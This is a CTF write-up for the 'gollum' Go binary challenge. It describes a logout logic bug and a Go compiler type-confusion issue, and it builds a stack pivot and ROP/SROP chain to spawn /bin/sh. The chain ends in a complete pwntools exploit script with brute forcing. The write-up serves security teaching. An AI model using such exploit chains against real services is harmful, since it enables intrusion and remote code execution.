Description
In the depths of Orodruin I have found a new type of database.
It stores users and passwords within the single structure.
I hope it’s safe. I use it in production anyway.
According to the developers’ classification, the gollum task is the simplest by complexity, but at the end of the competition it had the least number of solutions and actually turned out to be the most difficult. 🩸Β InΒ turn,Β IΒ madeΒ firstbloodΒ 🩸
Solution
Analysis
An archive with the Go source code is attached to the task
$ tree
.
βββ deploy
β βββ docker-compose.yml
β βββ Dockerfile
β βββ entrypoint.sh
β βββ gollum
βββ src
βββ build.sh
βββ cmd
β βββ main.go
βββ database
β βββ database.go
βββ Dockerfile
βββ go.mod
βββ models
β βββ credential.go
β βββ user.go
βββ services
β βββ auth.go
βββ util
βββ hashes.go
Run file and checksec:
$ file gollum
gollum: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=U5zgabr6y7z_rmgQr480/aF0WXt2RGaUXA0Hq_MuU/7vr2Qg4Tl__oBE76V6Jv/OAeBTWqr0fuu2MX0t8wP, with debug_info, not stripped
$ checksec --file=gollum
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 2347 Symbols No 0 0 gollum
Here is the Golang binary built in Debug version. Launching the binary:
./gollum
[!] Hello! Please, use `HELP` for available commands.
> HELP
[*] Use `LOGIN`, `REGISTER` or `EXIT` commands.
> REGISTER
[?] Please, enter username: foo
[?] Please, enter password: bar
[?] Please, enter password protection mode: sha1
[+] Registered successfully.
> LOGIN
[-] You are logged in, you should log out first.
> HELP
[*] Use `INFO`, `UPDATE`, `LOGOUT` or `EXIT` commands.
> INFO
[*] User: foo
> UPDATE
[?] Please, enter description: goida
[+] Description updated.
> INFO
[*] User: foo "goida"
> LOGOUT
> LOGIN
[?] Please, enter username: foo
[?] Please, enter password: bar
[+] Logged in successfully.
>
The program is a kind of database, with the ability to register, authorize and update the user description. It’s worth paying attention to the description of the task itself, which says that users and passwords are stored within a single structure. My first sudden thought was related to the vulnerability Type Confusion, and as you know, first thought, best thought
Source code
Used models
Creating user and logging out
| |
This is where a new user is created and added to the database. Note one inaccuracy in the
implementation: when registering, the ctx.user structure is taken as the basis, the fields
of which can already be defined
Exploitation of the vulnerability described above is possible due to the following error
In this function, the user is logged out. The ctx.loggedIn flag is reset, unlike the
ctx.user structure. Together, these two mistakes allow us to create a user with an already
filled description
Updating description and logging in
| |
When updating the user description, its description is placed in the database, but the ctx.user
structure is not updated. To fix this, just log in to your account
| |
Debugging information
| |
When analyzing the source code, I noticed these lines. I didn’t attach proper importance to them, but
I was confused that this info is not printed to the console (which is logical, because fmt.Sprintf
returns a string and does not output anything). I did not understand meaning of this code
Exploitation
Back to my thought about Type Confusion, I decided to google known Golang vulnerabilities, and literally the first result was issue on GitHub with description of the problem. Oddly enough, the Go version is the same as ours
Local version of Golang:

The issue also presents a PoC, which throws a segfault at startup. The problem is an error in the compiler, which uses the names of internal types as is, and creating multiple internal types with the same names leads to a Type Confusion vulnerability.

In our case, we come to the conclusion that in the function
AddUser
field type of debugEntry structure is not models.User, but models.Credential
(which was defined earlier in
AddCredential).
This can be easily verified using GDB

Type Confusion for RIP control
Note that the fields Credential.hashFunc and User.Description overlap
$ pahole -C gollum/models.Credential gollum
struct gollum/models.Credential {
time.Time created; /* 0 24 */
gollum/models.HashFunc hashFunc; /* 24 8 */
struct string password; /* 32 16 */
/* size: 48, cachelines: 1, members: 3 */
/* last cacheline: 48 bytes */
};
$ pahole -C gollum/models.User gollum
struct gollum/models.User {
int Id; /* 0 8 */
struct string Name; /* 8 16 */
struct string Description; /* 24 16 */
int CredentialId; /* 40 8 */
/* size: 48, cachelines: 1, members: 4 */
/* last cacheline: 48 bytes */
};
Due to the fact that Credential.hashFunc is a pointer to method table, and User.Description
is a pointer to string, we can easily override RIP by specifying the address we are interested in
in the user description. However, the vulnerability is relevant only when creating user, so
we will use another vulnerability described earlier
Pivoting and SROP to obtain shell
At the moment, we can only control RIP

For subsequent exploitation using ROP, it is necessary to control some stack memory. Note that the RSP points to the memory area where the description string is located, moreover, RSP points to the memory before the string

The offset to the buffer is random, but the last 3 nibbles are always static. I also found out in a practical way that offset does not exceed 0x80000 and it can be quickly bruted. Based on this, I picked up several gadgets for pivoting. The second one was the most successful
ADD_RSP = 0x45d0ba #: add rsp, 0x20008 ; ret
ADD_RSP = 0x45d1ba #: add rsp, 0x40008 ; ret
ADD_RSP = 0x45d2ba #: add rsp, 0x80008 ; ret
To call execve you need to control rax, rdi, rsi ΠΈ rdx, as well as have the string /bin/sh and know its address. Binaries written in Go are not rich in gadgets
$ ROPgadget --binary gollum | grep -E ': pop r.{2} ; ret$'
0x000000000040c9d7 : pop rax ; ret
0x000000000045f76d : pop rbp ; ret
0x0000000000407dc1 : pop rbx ; ret
0x000000000042dc82 : pop rdx ; ret
I went a bit heuristic way, namely: I created the string /bin/sh in memory via known gadgets
POP_RAX = 0x40c9d7 #: pop rax ; ret
POP_RBX = 0x407dc1 #: pop rbx ; ret
MOV_PTR_RAX_8_RCX = 0x47fb17 #: mov qword ptr [rax + 8], rcx ; ret
MOV_RCX_RBX_CALL_RAX = 0x45de9f #: mov rcx, rbx ; call rax
ADD_RSP_8_RET = 0x40e91e #: add rsp, 8 ; ret
SYSCALL = 0x4026ac #: syscall
BUF_ADDR = 0x53e000
BUF_VALUE = b'/bin/sh\0'
rop = [
POP_RAX,
ADD_RSP_8_RET,
POP_RBX,
BUF_VALUE,
MOV_RCX_RBX_CALL_RAX,
POP_RAX,
BUF_ADDR - 8,
MOV_PTR_RAX_8_RCX,
]
And performed SROP to set up registers for evecve
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = BUF_ADDR
frame.rip = SYSCALL
rop += [
POP_RAX,
constants.SYS_rt_sigreturn,
SYSCALL,
frame
]
Putting together
Exploit
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 17172 gollum
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'gollum')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 17172)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.STRACE:
with tempfile.NamedTemporaryFile(prefix='pwnlib-log-', suffix='.strace',
delete=False, mode='w') as tmp:
log.debug('Created strace log file %r\n', tmp.name)
run_in_new_terminal(['tail', '-f', '-n', '+1', tmp.name])
return process(['strace', '-o', tmp.name, '--'] + [exe.path] + argv, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
def num(n):
return str(n).encode()
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main.main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
from pwnbrute import *
# ADD_RSP = 0x45d0ba #: add rsp, 0x20008 ; ret
ADD_RSP = 0x45d1ba #: add rsp, 0x40008 ; ret
# ADD_RSP = 0x45d2ba #: add rsp, 0x80008 ; ret
POP_RAX = 0x40c9d7 #: pop rax ; ret
POP_RBX = 0x407dc1 #: pop rbx ; ret
MOV_PTR_RAX_8_RCX = 0x47fb17 #: mov qword ptr [rax + 8], rcx ; ret
MOV_RCX_RBX_CALL_RAX = 0x45de9f #: mov rcx, rbx ; call rax
ADD_RSP_8_RET = 0x40e91e #: add rsp, 8 ; ret
SYSCALL = 0x4026ac #: syscall
BUF_ADDR = 0x53e000
BUF_VALUE = b'/bin/sh\0'
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = BUF_ADDR
frame.rip = SYSCALL
rop = [
POP_RAX,
ADD_RSP_8_RET,
POP_RBX,
BUF_VALUE,
MOV_RCX_RBX_CALL_RAX,
POP_RAX,
BUF_ADDR - 8,
MOV_PTR_RAX_8_RCX,
POP_RAX,
constants.SYS_rt_sigreturn,
SYSCALL,
frame
]
MENU = b'> '
def pwn():
io = start()
# Register user
io.sendlineafter(MENU, b'register')
io.sendlineafter(b': ', b'foo')
io.sendlineafter(b': ', b'bar')
io.sendlineafter(b': ', b'sha1')
# Update his description
io.sendlineafter(MENU, b'update')
io.sendlineafter(b': ', flat({
0: ADD_RSP,
0x1e0: rop,
0x1000: b'',
}) * 20) # Repeat chain to increase exploit probability
io.sendlineafter(MENU, b'logout')
# Update `ctx.user` struct
io.sendlineafter(MENU, b'login')
io.sendlineafter(b': ', b'foo')
io.sendlineafter(b': ', b'bar')
io.sendlineafter(MENU, b'logout')
# Register user with prepared description
io.sendlineafter(MENU, b'register')
io.sendlineafter(b': ', b'hui')
io.sendlineafter(b': ', b'bar')
io.sendlineafter(b': ', b'sha1')
io.sendline(b'echo cleanoutput')
io.recvuntil(b'cleanoutput')
success()
io.interactive()
if __name__ == '__main__':
brute(pwn, workers=16)
